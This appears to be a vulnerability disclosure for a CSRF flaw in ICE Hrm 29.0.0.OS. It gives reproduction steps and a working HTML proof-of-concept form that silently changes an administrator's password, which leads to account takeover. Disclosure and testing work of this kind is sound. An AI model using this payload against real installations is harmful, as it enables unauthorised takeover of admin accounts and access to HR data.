xoffense Update Account takeover using CSRF in ICE Hrm Version 29.0.0.OS.md History

1 contributor

34 lines (28 sloc) | 1.11 KB

Author

Rafal Lykowski & Piyush Patil

Description

ICE Hrm Version 29.0.0.OS is vulnerable to CSRF which allows attacker to add new admin account or change the password leading to full account takeover.

Steps to reproduce the issue

1- Login as victim

2- Open the CSRF malicious file which I have attached (csrf_POC.html)

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8070/app/service.php">
      <input type="hidden" name="t" value="User" />
      <input type="hidden" name="a" value="ca" />
      <input type="hidden" name="sa" value="changePassword" />
      <input type="hidden" name="mod" value="admin&#61;users" />
      <input type="hidden" name="req" value="&#123;&quot;id&quot;&#58;1&#44;&quot;pwd&quot;&#58;&quot;Hacker123&#35;&quot;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

3- Password is changed (you can also add new admin user)

Now you can simply takeover the account

Video POC:

https://drive.google.com/file/d/1uUciTcFEkQ5P_R37QBswNrVbOPqzngpX/view?usp=sharing

Impact

Full account takeover